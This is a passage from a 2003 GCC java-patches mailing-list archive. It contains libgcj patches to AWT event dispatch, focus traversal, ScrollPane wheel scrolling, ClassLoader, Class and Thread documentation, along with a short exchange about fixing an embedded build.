/cvs/gcc/gcc/libjava/java/awt/Component.java,v retrieving revision 1.23 diff -u -r1.23 Component.java --- java/awt/Component.java 19 Feb 2003 00:35:35 -0000 1.23 +++ java/awt/Component.java 21 Feb 2003 09:05:51 -0000 @@ -4075,43 +4075,59 @@ */ void dispatchEventImpl(AWTEvent e) { - // Make use of event id's in order to avoid multiple instanceof tests. - if (e.id <= ComponentEvent.COMPONENT_LAST - && e.id >= ComponentEvent.COMPONENT_FIRST - && (componentListener != null - || (eventMask & AWTEvent.COMPONENT_EVENT_MASK) != 0)) - processEvent(e); - else if (e.id <= KeyEvent.KEY_LAST - && e.id >= KeyEvent.KEY_FIRST - && (keyListener != null - || (eventMask & AWTEvent.KEY_EVENT_MASK) != 0)) - processEvent(e); - else if (e.id <= MouseEvent.MOUSE_LAST - && e.id >= MouseEvent.MOUSE_FIRST - && (mouseListener != null - || mouseMotionListener != null - || (eventMask & AWTEvent.MOUSE_EVENT_MASK) != 0)) - processEvent(e); - else if (e.id <= FocusEvent.FOCUS_LAST - && e.id >= FocusEvent.FOCUS_FIRST - && (focusListener != null - || (eventMask & AWTEvent.FOCUS_EVENT_MASK) != 0)) - processEvent(e); - else if (e.id <= InputMethodEvent.INPUT_METHOD_LAST - && e.id >= InputMethodEvent.INPUT_METHOD_FIRST - && (inputMethodListener != null - || (eventMask & AWTEvent.INPUT_METHOD_EVENT_MASK) != 0)) - processEvent(e); - else if (e.id <= HierarchyEvent.HIERARCHY_LAST - && e.id >= HierarchyEvent.HIERARCHY_FIRST - && (hierarchyListener != null - || hierarchyBoundsListener != null - || (eventMask & AWTEvent.HIERARCHY_EVENT_MASK) != 0)) - processEvent(e); - else if (e.id <= PaintEvent.PAINT_LAST - && e.id >= PaintEvent.PAINT_FIRST - && (eventMask & AWTEvent.PAINT_EVENT_MASK) != 0) + if (eventTypeEnabled (e.id)) processEvent(e); + } + + /** + * Tells wether or not an event type is enabled. + */ + boolean eventTypeEnabled (int type) + { + if (type > AWTEvent.RESERVED_ID_MAX) + return true; + + switch (type) + { + case ComponentEvent.COMPONENT_HIDDEN: + case ComponentEvent.COMPONENT_MOVED: + case ComponentEvent.COMPONENT_RESIZED: + case ComponentEvent.COMPONENT_SHOWN: + return (componentListener != null + || (eventMask & AWTEvent.COMPONENT_EVENT_MASK) != 0); + + case KeyEvent.KEY_PRESSED: + case KeyEvent.KEY_RELEASED: + case KeyEvent.KEY_TYPED: + return (keyListener != null + || (eventMask & AWTEvent.KEY_EVENT_MASK) != 0); + + case MouseEvent.MOUSE_CLICKED: + case MouseEvent.MOUSE_ENTERED: + case MouseEvent.MOUSE_EXITED: + case MouseEvent.MOUSE_PRESSED: + case MouseEvent.MOUSE_RELEASED: + return (mouseListener != null + || mouseMotionListener != null + || (eventMask & AWTEvent.MOUSE_EVENT_MASK) != 0); + + case FocusEvent.FOCUS_GAINED: + case FocusEvent.FOCUS_LOST: + return (focusListener != null + || (eventMask & AWTEvent.FOCUS_EVENT_MASK) != 0); + + case InputMethodEvent.INPUT_METHOD_TEXT_CHANGED: + case InputMethodEvent.CARET_POSITION_CHANGED: + return (inputMethodListener != null + || (eventMask & AWTEvent.INPUT_METHOD_EVENT_MASK) != 0); + + case PaintEvent.PAINT: + case PaintEvent.UPDATE: + return (eventMask & AWTEvent.PAINT_EVENT_MASK) != 0; + + default: + return false; + } } /** Index: java/awt/Container.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Container.java,v retrieving revision 1.19 diff -u -r1.19 Container.java --- java/awt/Container.java 15 Feb 2003 09:21:54 -0000 1.19 +++ java/awt/Container.java 21 Feb 2003 09:05:52 -0000 @@ -45,6 +45,7 @@ import java.awt.peer.ContainerPeer; import java.awt.peer.LightweightPeer; import java.beans.PropertyChangeListener; +import java.beans.PropertyChangeSupport; import java.io.PrintStream; import java.io.PrintWriter; import java.io.Serializable; @@ -89,6 +90,7 @@ /* Anything else is non-serializable, and should be declared "transient". */ transient ContainerListener containerListener; + transient PropertyChangeSupport changeSupport; /** * Default constructor for subclasses. @@ -1125,12 +1127,27 @@ throw new NullPointerException (); } - public void addPropertyChangeListener(PropertyChangeListener l) + public void addPropertyChangeListener (PropertyChangeListener listener) { + if (listener == null) + return; + + if (changeSupport == null) + changeSupport = new PropertyChangeSupport (this); + + changeSupport.addPropertyChangeListener (listener); } - public void addPropertyChangeListener(String name, PropertyChangeListener l) + public void addPropertyChangeListener (String name, + PropertyChangeListener listener) { + if (listener == null) + return; + + if (changeSupport == null) + changeSupport = new PropertyChangeSupport (this); + + changeSupport.addPropertyChangeListener (name, listener); } // Hidden helper methods. Index: java/awt/ContainerOrderFocusTraversalPolicy.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ContainerOrderFocusTraversalPolicy.java,v retrieving revision 1.3 diff -u -r1.3 ContainerOrderFocusTraversalPolicy.java --- java/awt/ContainerOrderFocusTraversalPolicy.java 15 Feb 2003 09:21:54 -0000 1.3 +++ java/awt/ContainerOrderFocusTraversalPolicy.java 21 Feb 2003 09:05:52 -0000 @@ -41,11 +41,14 @@ import java.io.Serializable; /** - * STUB CLASS ONLY + * @since 1.4 */ public class ContainerOrderFocusTraversalPolicy extends FocusTraversalPolicy implements Serializable { + /** + * Compatible to JDK 1.4+ + */ static final long serialVersionUID = 486933713763926351L; private boolean implicitDownCycleTraversal = true; @@ -55,31 +58,77 @@ */ public ContainerOrderFocusTraversalPolicy() { - throw new Error("not implemented"); + // Nothing to do here } + /** + * Returns the Component that should receive the focus after current. + * root must be a focus cycle root of current. + * + * @exception IllegalArgumentException If root is not a focus cycle + * root of current, or if either root or current is null. + */ public Component getComponentAfter(Container root, Component current) { + if (root == null + || current == null) + throw new IllegalArgumentException (); + return null; } + /** + * Returns the Component that should receive the focus before current. + * root must be a focus cycle root of current. + * + * @exception IllegalArgumentException If root is not a focus cycle + * root of current, or if either root or current is null. + */ public Component getComponentBefore(Container root, Component current) { + if (root == null + || current == null) + throw new IllegalArgumentException (); + return null; } + /** + * Returns the first Component of root that should receive the focus. + * + * @exception IllegalArgumentException If root is null. + */ public Component getFirstComponent(Container root) { + if (root == null) + throw new IllegalArgumentException (); + return null; } + /** + * Returns the last Component of root that should receive the focus. + * + * @exception IllegalArgumentException If root is null. + */ public Component getLastComponent(Container root) { + if (root == null) + throw new IllegalArgumentException (); + return null; } + /** + * Returns the default Component of root that should receive the focus. + * + * @exception IllegalArgumentException If root is null. + */ public Component getDefaultComponent(Container root) { + if (root == null) + throw new IllegalArgumentException (); + return null; } Index: java/awt/EventQueue.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/EventQueue.java,v retrieving revision 1.8 diff -u -r1.8 EventQueue.java --- java/awt/EventQueue.java 2 Jan 2003 00:14:22 -0000 1.8 +++ java/awt/EventQueue.java 21 Feb 2003 09:05:52 -0000 @@ -116,7 +116,8 @@ if (next_in != next_out) return queue[next_out]; - else return null; + else + return null; } /** @@ -142,7 +143,7 @@ { AWTEvent qevt = queue[i]; if (qevt.id == id) - return qevt; + return qevt; } return null; } @@ -159,7 +160,7 @@ if (next != null) { next.postEvent(evt); - return; + return; } // FIXME: Security checks? @@ -169,25 +170,25 @@ while (i != next_in) { AWTEvent qevt = queue[i]; - Object src; - if (qevt.id == evt.id - && (src = qevt.getSource()) == evt.getSource() - && src instanceof Component) - { - /* If there are, call coalesceEvents on the source component - to see if they can be combined. */ - Component srccmp = (Component) src; - AWTEvent coalesced_evt = srccmp.coalesceEvents(qevt, evt); - if (coalesced_evt != null) - { - /* Yes. Replace the existing event with the combined event. */ - queue[i] = coalesced_evt; - return; - } + Object src; + if (qevt.id == evt.id + && (src = qevt.getSource()) == evt.getSource() + && src instanceof Component) + { + /* If there are, call coalesceEvents on the source component + to see if they can be combined. */ + Component srccmp = (Component) src; + AWTEvent coalesced_evt = srccmp.coalesceEvents(qevt, evt); + if (coalesced_evt != null) + { + /* Yes. Replace the existing event with the combined event. */ + queue[i] = coalesced_evt; + return; + } break; - } - if (++i == queue.length) - i = 0; + } + if (++i == queue.length) + i = 0; } queue[next_in] = evt; @@ -198,15 +199,15 @@ { /* Queue is full. Extend it. */ AWTEvent[] oldQueue = queue; - queue = new AWTEvent[queue.length * 2]; + queue = new AWTEvent[queue.length * 2]; - int len = oldQueue.length - next_out; - System.arraycopy(oldQueue, next_out, queue, 0, len); - if (next_out != 0) - System.arraycopy(oldQueue, 0, queue, len, next_out); + int len = oldQueue.length - next_out; + System.arraycopy(oldQueue, next_out, queue, 0, len); + if (next_out != 0) + System.arraycopy(oldQueue, 0, queue, len, next_out); - next_out = 0; - next_in = oldQueue.length; + next_out = 0; + next_in = oldQueue.length; } notify(); } @@ -237,8 +238,8 @@ synchronized (current) { - eq.postEvent(ie); - current.wait(); + eq.postEvent(ie); + current.wait(); } Exception exception; @@ -247,7 +248,9 @@ throw new InvocationTargetException(exception); } - /** @since JDK1.2 */ + /** + * @since 1.2 + */ public static void invokeLater(Runnable runnable) { EventQueue eq = Toolkit.getDefaultToolkit().getSystemEventQueue(); @@ -264,22 +267,26 @@ return (Thread.currentThread() == eq.dispatchThread); } - /** Allows a custom EventQueue implementation to replace this one. - * All pending events are transferred to the new queue. Calls to postEvent, - * getNextEvent, and peekEvent are forwarded to the pushed queue until it - * is removed with a pop(). - * - * @exception NullPointerException if newEventQueue is null. - */ + /** + * Allows a custom EventQueue implementation to replace this one. + * All pending events are transferred to the new queue. Calls to postEvent, + * getNextEvent, and peekEvent are forwarded to the pushed queue until it + * is removed with a pop(). + * + * @exception NullPointerException if newEventQueue is null. + */ public synchronized void push(EventQueue newEventQueue) { + if (newEventQueue == null) + throw new NullPointerException (); + int i = next_out; while (i != next_in) { newEventQueue.postEvent(queue[i]); - next_out = i; - if (++i == queue.length) - i = 0; + next_out = i; + if (++i == queue.length) + i = 0; } next = newEventQueue; @@ -301,19 +308,19 @@ // occur. synchronized (prev) { - prev.next = null; + prev.next = null; } synchronized (this) { - int i = next_out; - while (i != next_in) - { + int i = next_out; + while (i != next_in) + { prev.postEvent(queue[i]); - next_out = i; - if (++i == queue.length) - i = 0; - } + next_out = i; + if (++i == queue.length) + i = 0; + } } } @@ -328,22 +335,22 @@ if (evt instanceof ActiveEvent) { ActiveEvent active_evt = (ActiveEvent) evt; - active_evt.dispatch(); + active_evt.dispatch(); } else { - Object source = evt.getSource(); + Object source = evt.getSource(); - if (source instanceof Component) - { + if (source instanceof Component) + { Component srccmp = (Component) source; - srccmp.dispatchEvent(evt); - } - else if (source instanceof MenuComponent) - { - MenuComponent srccmp = (MenuComponent) source; - srccmp.dispatchEvent(evt); - } + srccmp.dispatchEvent(evt); + } + else if (source instanceof MenuComponent) + { + MenuComponent srccmp = (MenuComponent) source; + srccmp.dispatchEvent(evt); + } } } Index: java/awt/ScrollPane.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ScrollPane.java,v retrieving revision 1.8 diff -u -r1.8 ScrollPane.java --- java/awt/ScrollPane.java 13 Feb 2003 19:28:31 -0000 1.8 +++ java/awt/ScrollPane.java 21 Feb 2003 09:05:52 -0000 @@ -38,6 +38,7 @@ package java.awt; +import java.awt.event.MouseEvent; import java.awt.peer.ScrollPanePeer; import java.awt.peer.ContainerPeer; import java.awt.peer.ComponentPeer; @@ -105,6 +106,8 @@ // Current scroll position private Point scrollPosition = new Point(0, 0); +private boolean wheelScrollingEnabled; + /*************************************************************************/ /* @@ -153,6 +156,8 @@ hAdjustable = new ScrollPaneAdjustable(Scrollbar.HORIZONTAL); vAdjustable = new ScrollPaneAdjustable(Scrollbar.VERTICAL); } + + wheelScrollingEnabled = true; } /*************************************************************************/ @@ -470,5 +475,37 @@ return(getClass().getName()); } + /** + * Tells wether or not an event is enabled. + * + * @since 1.4 + */ + public boolean eventTypeEnabled (int type) + { + if (type == MouseEvent.MOUSE_WHEEL) + return wheelScrollingEnabled; + + return super.eventTypeEnabled (type); + } + + /** + * Tells wether or not wheel scrolling is enabled. + * + * @since 1.4 + */ + public boolean isWheelScrollingEnabled () + { + return wheelScrollingEnabled; + } + + /** + * Enables/disables wheel scrolling. + * + * @since 1.4 + */ + public void setWheelScrollingEnabled (boolean enable) + { + wheelScrollingEnabled = enable; + } } // class ScrollPane --Boundary-00=_aqfV+T4MhLVEpB7-- From java-patches-return-6235-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 09:15:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4654 invoked by alias); 21 Feb 2003 09:15:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4638 invoked from network); 21 Feb 2003 09:15:06 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 21 Feb 2003 09:15:06 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-74-115.ewetel.net [80.228.74.115]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1L9Dwbs021134; Fri, 21 Feb 2003 10:14:01 +0100 (MET) From: Michael Koch To: Krister Walfridsson , Richard.Earnshaw@arm.com Subject: Re: libjava embedded builds broken *again* Date: Fri, 21 Feb 2003 11:09:58 +0100 User-Agent: KMail/1.5 Cc: References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302211109.58836.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Donnerstag, 20. Februar 2003 19:30 schrieb Krister Walfridsson: > On Thu, 20 Feb 2003, Richard Earnshaw wrote: > > > I commit now a fix to > > > libjava/gnu/java/nio/natSocketChannelImpl.cc. Please try it on > > > your platform and tell me netgative and positive things. > > > > Doesn't fix things. It still dies as follows: > > It looks like the test was reversed. The patch below makes it build > just fine for me (on arm-elf). > > /Krister > > > 2003-02-20 Krister Walfridsson > > * gnu/java/nio/natSocketChannelImpl.cc (DISABLE_JAVA_NET): > Invert test. > > > Index: natSocketChannelImpl.cc > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > RCS file: > /cvs/gcc/gcc/libjava/gnu/java/nio/natSocketChannelImpl.cc,v > retrieving revision 1.3 > diff -c -r1.3 natSocketChannelImpl.cc > *** natSocketChannelImpl.cc 20 Feb 2003 07:24:37 -0000 1.3 > --- natSocketChannelImpl.cc 20 Feb 2003 18:24:14 -0000 > *************** > *** 20,26 **** > #include > > > ! #ifndef DISABLE_JAVA_NET > > jint > gnu::java::nio::SocketChannelImpl::SocketCreate () > --- 20,26 ---- > #include > > > ! #ifdef DISABLE_JAVA_NET > > jint > gnu::java::nio::SocketChannelImpl::SocketCreate () Thanks for your submit, I commited a slighly changed patch to fix=20 this. Hopefully this is enough to get the arm/newlib build working. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Vfr2WSOgCCdjSDsRAj3hAJ9SaH5qE2GxM9XmV0wHrIiRs3GJQQCfarfO OtZtJMDUmIti7L9jJoL1eWY=3D =3DTX/m =2D----END PGP SIGNATURE----- From java-patches-return-6236-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 09:15:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4805 invoked by alias); 21 Feb 2003 09:15:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4787 invoked from network); 21 Feb 2003 09:15:08 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 21 Feb 2003 09:15:08 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-74-115.ewetel.net [80.228.74.115]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1L9Dwbw021134; Fri, 21 Feb 2003 10:14:07 +0100 (MET) From: Michael Koch To: tromey@redhat.com Subject: Re: [PATCH] java.nio -- important, please test on your platform Date: Fri, 21 Feb 2003 11:12:35 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200302141345.02102.konqueror@gmx.de> <200302180941.59252.konqueror@gmx.de> <877kbxcvpj.fsf@fleche.redhat.com> In-Reply-To: <877kbxcvpj.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302211112.35709.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 18. Februar 2003 19:03 schrieb Tom Tromey: > Michael> With the news item we should at least wait until some > Michael> examples work from a fresh unpatched CVS checkout. ;-) > > Yeah. Let me know when that happens. Or, just submit a patch to > index.html :-) Will do. ;-) Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+VfuTWSOgCCdjSDsRAot9AJ9DsKeaLBtH7ufsY6dUgmrRhYCX2ACgoVFP ukHRH/qAdJ2pXuB/6mNNjEs=3D =3D2yiD =2D----END PGP SIGNATURE----- From java-patches-return-6237-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 09:45:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21636 invoked by alias); 21 Feb 2003 09:45:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21619 invoked from network); 21 Feb 2003 09:45:43 -0000 Received: from unknown (HELO mx2.redhat.com) (12.150.115.133) by 172.16.49.205 with SMTP; 21 Feb 2003 09:45:43 -0000 Received: from int-mx2.corp.redhat.com (int-mx2.corp.redhat.com [172.16.27.26]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id h1L9cBN08336 for ; Fri, 21 Feb 2003 04:38:11 -0500 Received: from potter.sfbay.redhat.com (potter.sfbay.redhat.com [172.16.27.15]) by int-mx2.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h1L9ihn08033 for ; Fri, 21 Feb 2003 04:44:43 -0500 Received: from [192.168.1.118] (vpn50-19.rdu.redhat.com [172.16.50.19]) by potter.sfbay.redhat.com (8.11.6/8.11.6) with ESMTP id h1L9igQ05002 for ; Fri, 21 Feb 2003 01:44:42 -0800 Subject: Deprecate ClassLoader method From: Anthony Green To: java-patches@gcc.gnu.org Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: 21 Feb 2003 01:47:48 -0800 Message-Id: <1045820869.11019.1620.camel@escape> Mime-Version: 1.0 This was identified by japi. Ok? 2003-02-21 Anthony Green * java/lang/ClassLoader.java (defineClass): Deprecate. Index: java/lang/ClassLoader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/ClassLoader.java,v retrieving revision 1.26 diff -c -r1.26 ClassLoader.java *** java/lang/ClassLoader.java 24 Jan 2003 19:37:17 -0000 1.26 --- java/lang/ClassLoader.java 21 Feb 2003 09:40:14 -0000 *************** *** 380,386 **** * @return the class defined. * @exception java.lang.ClassNotFoundException * @exception java.lang.LinkageError ! * @see ClassLoader#defineClass(String,byte[],int,int) */ protected final Class defineClass(byte[] data, int off, int len) throws ClassFormatError { --- 380,387 ---- * @return the class defined. * @exception java.lang.ClassNotFoundException * @exception java.lang.LinkageError ! * @see ClassLoader#defineClass(String,byte[],int,int) ! * @deprecated Replaced by defineClass (String, byte[], int, int) */ protected final Class defineClass(byte[] data, int off, int len) throws ClassFormatError { From java-patches-return-6238-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 10:03:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2513 invoked by alias); 21 Feb 2003 10:03:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2506 invoked from network); 21 Feb 2003 10:03:58 -0000 Received: from unknown (HELO mx2.redhat.com) (12.150.115.133) by 172.16.49.205 with SMTP; 21 Feb 2003 10:03:58 -0000 Received: from int-mx2.corp.redhat.com (int-mx2.corp.redhat.com [172.16.27.26]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id h1L9uQN08625 for ; Fri, 21 Feb 2003 04:56:26 -0500 Received: from potter.sfbay.redhat.com (potter.sfbay.redhat.com [172.16.27.15]) by int-mx2.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h1LA2wn08360 for ; Fri, 21 Feb 2003 05:02:58 -0500 Received: from [192.168.1.118] (vpn50-19.rdu.redhat.com [172.16.50.19]) by potter.sfbay.redhat.com (8.11.6/8.11.6) with ESMTP id h1LA2vQ05343 for ; Fri, 21 Feb 2003 02:02:57 -0800 Subject: Patch: Class.finalize() throws a Throwable From: Anthony Green To: java-patches@gcc.gnu.org Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: 21 Feb 2003 02:06:03 -0800 Message-Id: <1045821964.11019.1632.camel@escape> Mime-Version: 1.0 Identified by japi. Ok? 2002-02-21 Anthony Green * java/lang/Class.java (finalize): throws a Throwable. Index: java/lang/Class.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/Class.java,v retrieving revision 1.14 diff -c -r1.14 Class.java *** java/lang/Class.java 3 Sep 2002 21:33:46 -0000 1.14 --- java/lang/Class.java 21 Feb 2003 10:01:22 -0000 *************** *** 1,6 **** // Class.java - Representation of a Java class. ! /* Copyright (C) 1998, 1999, 2000, 2002 Free Software Foundation This file is part of libgcj. --- 1,6 ---- // Class.java - Representation of a Java class. ! /* Copyright (C) 1998, 1999, 2000, 2002, 2003 Free Software Foundation This file is part of libgcj. *************** *** 346,352 **** private native void initializeClass (); // finalization ! protected native void finalize (); /** * Strip the last portion of the name (after the last dot). --- 346,352 ---- private native void initializeClass (); // finalization ! protected native void finalize () throws Throwable; /** * Strip the last portion of the name (after the last dot). From java-patches-return-6239-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 10:48:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26820 invoked by alias); 21 Feb 2003 10:48:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26812 invoked from network); 21 Feb 2003 10:48:30 -0000 Received: from unknown (HELO mx2.redhat.com) (12.150.115.133) by 172.16.49.205 with SMTP; 21 Feb 2003 10:48:30 -0000 Received: from int-mx2.corp.redhat.com (int-mx2.corp.redhat.com [172.16.27.26]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id h1LAewN09360 for ; Fri, 21 Feb 2003 05:40:58 -0500 Received: from potter.sfbay.redhat.com (potter.sfbay.redhat.com [172.16.27.15]) by int-mx2.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h1LAlUn09207 for ; Fri, 21 Feb 2003 05:47:30 -0500 Received: from [192.168.1.118] (vpn50-19.rdu.redhat.com [172.16.50.19]) by potter.sfbay.redhat.com (8.11.6/8.11.6) with ESMTP id h1LAlRQ06334 for ; Fri, 21 Feb 2003 02:47:27 -0800 Subject: Patch: Thread doc merge and new method From: Anthony Green To: java-patches@gcc.gnu.org Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: 21 Feb 2003 02:50:32 -0800 Message-Id: <1045824633.11019.1694.camel@escape> Mime-Version: 1.0 This patch adds a missing constructor that accepts a stack size argument. The spec says that implementations can ignore it. I also merged Classpath docs into the source. Ok? AG 2002-02-21 Anthony Green * java/lang/Thread.java (Thread): New constructor taking stack size parameter (ignored for now). * Many methods: Merged GNU Classpath documentation. Index: java/lang/Thread.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/Thread.java,v retrieving revision 1.24 diff -c -r1.24 Thread.java *** java/lang/Thread.java 7 Oct 2002 21:02:38 -0000 1.24 --- java/lang/Thread.java 21 Feb 2003 10:42:08 -0000 *************** *** 1,6 **** // Thread.java - Thread class. ! /* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation This file is part of libgcj. --- 1,6 ---- // Thread.java - Thread class. ! /* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. *************** *** 12,41 **** import gnu.gcj.RawData; - /** - * @author Tom Tromey - * @date August 24, 1998 - */ - /* Written using "Java Class Libraries", 2nd edition, ISBN 0-201-31002-3 * "The Java Language Specification", ISBN 0-201-63451-1 * plus online API docs for JDK 1.2 beta from http://www.javasoft.com. ! * Status: Believed complete to version 1.3, with caveats. We do not * implement the deprecated (and dangerous) stop, suspend, and resume * methods. Security implementation is not complete. */ public class Thread implements Runnable { public final static int MAX_PRIORITY = 10; public final static int MIN_PRIORITY = 1; public final static int NORM_PRIORITY = 5; public static int activeCount () { return currentThread().getThreadGroup().activeCount(); } public final void checkAccess () { SecurityManager s = System.getSecurityManager(); --- 12,95 ---- import gnu.gcj.RawData; /* Written using "Java Class Libraries", 2nd edition, ISBN 0-201-31002-3 * "The Java Language Specification", ISBN 0-201-63451-1 * plus online API docs for JDK 1.2 beta from http://www.javasoft.com. ! * Status: Believed complete to version 1.4, with caveats. We do not * implement the deprecated (and dangerous) stop, suspend, and resume * methods. Security implementation is not complete. */ + /** + * Thread represents a single thread of execution in the VM. When an + * application VM starts up, it creates a non-daemon Thread which calls the + * main() method of a particular class. There may be other Threads running, + * such as the garbage collection thread. + * + *

Threads have names to identify them. These names are not necessarily + * unique. Every Thread has a priority, as well, which tells the VM which + * Threads should get more running time. New threads inherit the priority + * and daemon status of the parent thread, by default. + * + *

There are two methods of creating a Thread: you may subclass Thread and + * implement the run() method, at which point you may start the + * Thread by calling its start() method, or you may implement + * Runnable in the class you want to use and then call new + * Thread(your_obj).start(). + * + *

The virtual machine runs until all non-daemon threads have died (either + * by returning from the run() method as invoked by start(), or by throwing + * an uncaught exception); or until System.exit is called with + * adequate permissions. + * + *

It is unclear at what point a Thread should be added to a ThreadGroup, + * and at what point it should be removed. Should it be inserted when it + * starts, or when it is created? Should it be removed when it is suspended + * or interrupted? The only thing that is clear is that the Thread should be + * removed when it is stopped. + * + * @author Tom Tromey + * @author John Keiser + * @author Eric Blake + * @see Runnable + * @see Runtime#exit(int) + * @see #run() + * @see #start() + * @see ThreadLocal + * @since 1.0 + * @status updated to 1.4 + */ public class Thread implements Runnable { + /** The maximum priority for a Thread. */ public final static int MAX_PRIORITY = 10; + + /** The minimum priority for a Thread. */ public final static int MIN_PRIORITY = 1; + + /** The priority a Thread gets by default. */ public final static int NORM_PRIORITY = 5; + /** + * Get the number of active threads in the current Thread's ThreadGroup. + * This implementation calls + * currentThread().getThreadGroup().activeCount(). + * + * @return the number of active threads in the current ThreadGroup + * @see ThreadGroup#activeCount() + */ public static int activeCount () { return currentThread().getThreadGroup().activeCount(); } + /** + * Check whether the current Thread is allowed to modify this Thread. This + * passes the check on to SecurityManager.checkAccess(this). + * + * @throws SecurityException if the current Thread cannot modify this Thread + * @see SecurityManager#checkAccess(Thread) + */ public final void checkAccess () { SecurityManager s = System.getSecurityManager(); *************** *** 43,120 **** s.checkAccess(this); } public native int countStackFrames (); public static native Thread currentThread (); public native void destroy (); public static void dumpStack () { (new Exception ("Stack trace")).printStackTrace (); } public static int enumerate (Thread[] threads) { return currentThread().group.enumerate(threads); } ! public final String getName () { return name; } public final int getPriority () { return priority; } public final ThreadGroup getThreadGroup () { return group; } public native void interrupt (); public static boolean interrupted () { return currentThread().isInterrupted (true); } ! // Check the threads interrupted status. Note that this does not clear the ! // thread's interrupted status (per JDK 1.2 online API documentation). public boolean isInterrupted () { return interrupt_flag; } public final boolean isAlive () { return alive_flag; } public final boolean isDaemon () { return daemon_flag; } public final void join () throws InterruptedException { join (0, 0); } public final void join (long timeout) throws InterruptedException { join (timeout, 0); } public final native void join (long timeout, int nanos) throws InterruptedException; public final native void resume (); private final native void finish_ (); ! // Check the thread's interrupted status. If clear_flag is true, the ! // thread's interrupted status is also cleared. private boolean isInterrupted (boolean clear_flag) { boolean r = interrupt_flag; --- 97,314 ---- s.checkAccess(this); } + /** + * Count the number of stack frames in this Thread. The Thread in question + * must be suspended when this occurs. + * + * @return the number of stack frames in this Thread + * @throws IllegalThreadStateException if this Thread is not suspended + * @deprecated pointless, since suspend is deprecated + */ public native int countStackFrames (); + + /** + * Get the currently executing Thread. + * + * @return the currently executing Thread + */ public static native Thread currentThread (); + + /** + * Originally intended to destroy this thread, this method was never + * implemented by Sun, and is hence a no-op. + */ public native void destroy (); + /** + * Print a stack trace of the current thread to 